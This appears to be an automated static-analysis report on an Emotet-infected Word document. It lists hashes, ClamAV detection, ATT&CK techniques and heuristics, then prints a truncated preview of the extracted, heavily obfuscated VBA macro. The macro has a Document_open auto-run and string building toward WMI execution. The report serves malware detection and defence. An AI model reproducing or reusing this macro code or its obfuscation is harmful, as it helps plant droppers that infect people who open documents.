Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 da87185fb8a79bff…

MALICIOUS

Office (OLE)

169.8 KB Created: 2020-09-16 14:22:00 Authoring application: Microsoft Office Word First seen: 2020-09-24
MD5: 1581641961b4b7e774311514f79f00e7 SHA-1: 8a898d9a18861a0695e2660c26f55913b7f3983a SHA-256: da87185fb8a79bff00dfd7aa5d3a7798054a8b1c882b4a25180cbac2b863f2c3
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The file contains VBA macros, specifically a Document_Open macro that uses CreateObject, indicating malicious intent. ClamAV detection confirms this as Emotet. The VBA script is heavily obfuscated but the presence of Document_Open and CreateObject strongly suggests it's designed to download and execute a second-stage payload.

Heuristics 6

  • ClamAV: Doc.Malware.Emotet-9762291-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9762291-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 21795 bytes
SHA-256: 9f558458f94a18a1753cb250fa701b5a4b696c6db0138705a67ec847e6bae57b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "O5n_tqtf39_"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
U403b805bkq4yoqu2 = Array(Tgi44cf_n0ein + "Opwe2rjvydn6yhSeswb4zt_a8xbt_1 Xcji4m5jagsfq9o0k" + Vxxmw68we56hbzou, P9r94zmbwgotcsy26f, Ot8iq8htxadmzxx3.Imueu7xbkny11wfs, Evqolgi_p4e + "T7a4a52b9klaytdbm Lhtlomftf2uz Fsnwyczy9edf7kq24d Rin9krsyxry_")
End Sub


Attribute VB_Name = "Ot8iq8htxadmzxx3"
Attribute VB_Base = "0{F3FE762A-26B3-4029-BBAD-937E6ECFC5E3}{23E0B2AC-DC64-41B6-972D-C923F4BCA4A3}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Imueu7xbkny11wfs()
On Error Resume Next
   Set Dx0bnjqcsla = O5n_tqtf39_.Signatures
AfSnzZR = "nOqlf33A9iNrrNvsm"
sVaLlprbq = Mid(AfSnzZR, 7, 1)
TpsDpt = sVaLlprbq
pZFjrEbjNBC = "pPKKJiLM4v 71oruV5pcivwa2KZjUzi"
uujIahXz = Mid(pZFjrEbjNBC, 10, 2)
RTvcMTA = uujIahXz
tiswnRfYm = "KXo8IViD4PY9McsQh9ijyOCrWmfdHLFmtj5"
dXHwKP = Mid(tiswnRfYm, 20, 2)
UbbcYACXi = dXHwKP
Set Fkmv1yryg2oikm1wq = O5n_tqtf39_.Signatures
CQJwp = "8Sh2Dj flCYlNJnk7J"
QwTGUhqYFFM = Mid(CQJwp, 7, 2)
XikUhRIu = QwTGUhqYFFM
jTKUdGGBTDa = "Y5gy9h2AZVCYKYN"
RijspupH = Mid(jTKUdGGBTDa, 3, 2)
YHsppDnDs = RijspupH
DPKLRinDS = "cwysPIzU DWh5BXqvpLlR"
blXBczWlAdq = Mid(DPKLRinDS, 3, 1)
MzMrV = blXBczWlAdq
Set If_kug5jtajg9 = O5n_tqtf39_.Signatures
zJiRGqL = "G4QEfdYffBzLj6r"
dkozDNza = Mid(zJiRGqL, 5, 1)
jnNDOi = dkozDNza
ufKPwOFjN = "CcZ60A4Y18DPEAi3bqXrYbOCvhRA6KbUshmrFXwhu"
jfOPNfK = Mid(ufKPwOFjN, 25, 2)
iqElzbN = jfOPNfK
bNMVhjyfU = MzMrV + QOvjQtQb + RTvcMTA + ivortr + YHsppDnDs + iqElzbN + BNUnazc
Ug6prgridxg_982 = 90
   Set Dx0bnjqcsla = O5n_tqtf39_.Signatures
AfSnzZR = "nOqlf33A9iNrrNvsm"
sVaLlprbq = Mid(AfSnzZR, 7, 1)
TpsDpt = sVaLlprbq
pZFjrEbjNBC = "pPKKJiLM4v 71oruV5pcivwa2KZjUzi"
uujIahXz = Mid(pZFjrEbjNBC, 10, 2)
RTvcMTA = uujIahXz
tiswnRfYm = "KXo8IViD4PY9McsQh9ijyOCrWmfdHLFmtj5"
dXHwKP = Mid(tiswnRfYm, 20, 2)
UbbcYACXi = dXHwKP
Set Fkmv1yryg2oikm1wq = O5n_tqtf39_.Signatures
CQJwp = "8Sh2Dj flCYlNJnk7J"
QwTGUhqYFFM = Mid(CQJwp, 7, 2)
XikUhRIu = QwTGUhqYFFM
jTKUdGGBTDa = "Y5gy9h2AZVCYKYN"
RijspupH = Mid(jTKUdGGBTDa, 3, 2)
YHsppDnDs = RijspupH
DPKLRinDS = "cwysPIzU DWh5BXqvpLlR"
blXBczWlAdq = Mid(DPKLRinDS, 3, 1)
MzMrV = blXBczWlAdq
Set If_kug5jtajg9 = O5n_tqtf39_.Signatures
zJiRGqL = "G4QEfdYffBzLj6r"
dkozDNza = Mid(zJiRGqL, 5, 1)
jnNDOi = dkozDNza
ufKPwOFjN = "CcZ60A4Y18DPEAi3bqXrYbOCvhRA6KbUshmrFXwhu"
jfOPNfK = Mid(ufKPwOFjN, 25, 2)
iqElzbN = jfOPNfK
bNMVhjyfU = MzMrV + QOvjQtQb + RTvcMTA + ivortr + YHsppDnDs + iqElzbN + BNUnazc
Jztdxr6nk2lz2_rde = S0gj_ve3vedlmv4o3o + Chr$(Ug6prgridxg_982 + (25))
   Set Dx0bnjqcsla = O5n_tqtf39_.Signatures
AfSnzZR = "nOqlf33A9iNrrNvsm"
sVaLlprbq = Mid(AfSnzZR, 7, 1)
TpsDpt = sVaLlprbq
pZFjrEbjNBC = "pPKKJiLM4v 71oruV5pcivwa2KZjUzi"
uujIahXz = Mid(pZFjrEbjNBC, 10, 2)
RTvcMTA = uujIahXz
tiswnRfYm = "KXo8IViD4PY9McsQh9ijyOCrWmfdHLFmtj5"
dXHwKP = Mid(tiswnRfYm, 20, 2)
UbbcYACXi = dXHwKP
Set Fkmv1yryg2oikm1wq = O5n_tqtf39_.Signatures
CQJwp = "8Sh2Dj flCYlNJnk7J"
QwTGUhqYFFM = Mid(CQJwp, 7, 2)
XikUhRIu = QwTGUhqYFFM
jTKUdGGBTDa = "Y5gy9h2AZVCYKYN"
RijspupH = Mid(jTKUdGGBTDa, 3, 2)
YHsppDnDs = RijspupH
DPKLRinDS = "cwysPIzU DWh5BXqvpLlR"
blXBczWlAdq = Mid(DPKLRinDS, 3, 1)
MzMrV = blXBczWlAdq
Set If_kug5jtajg9 = O5n_tqtf39_.Signatures
zJiRGqL = "G4QEfdYffBzLj6r"
dkozDNza = Mid(zJiRGqL, 5, 1)
jnNDOi = dkozDNza
ufKPwOFjN = "CcZ60A4Y18DPEAi3bqXrYbOCvhRA6KbUshmrFXwhu"
jfOPNfK = Mid(ufKPwOFjN, 25, 2)
iqElzbN = jfOPNfK
bNMVhjyfU = MzMrV + QOvjQtQb + RTvcMTA + ivortr + YHsppDnDs + iqElzbN + BNUnazc
Vzxgplpt75j = "PIZDECPIZDECwPIZDECiPIZDECnmPIZDECPIZDECgmPIZDECtPIZDECPIZDEC" + Jztdxr6nk2lz2_rde + "PIZDECPIZDEC:PIZDECwPIZD
... (truncated)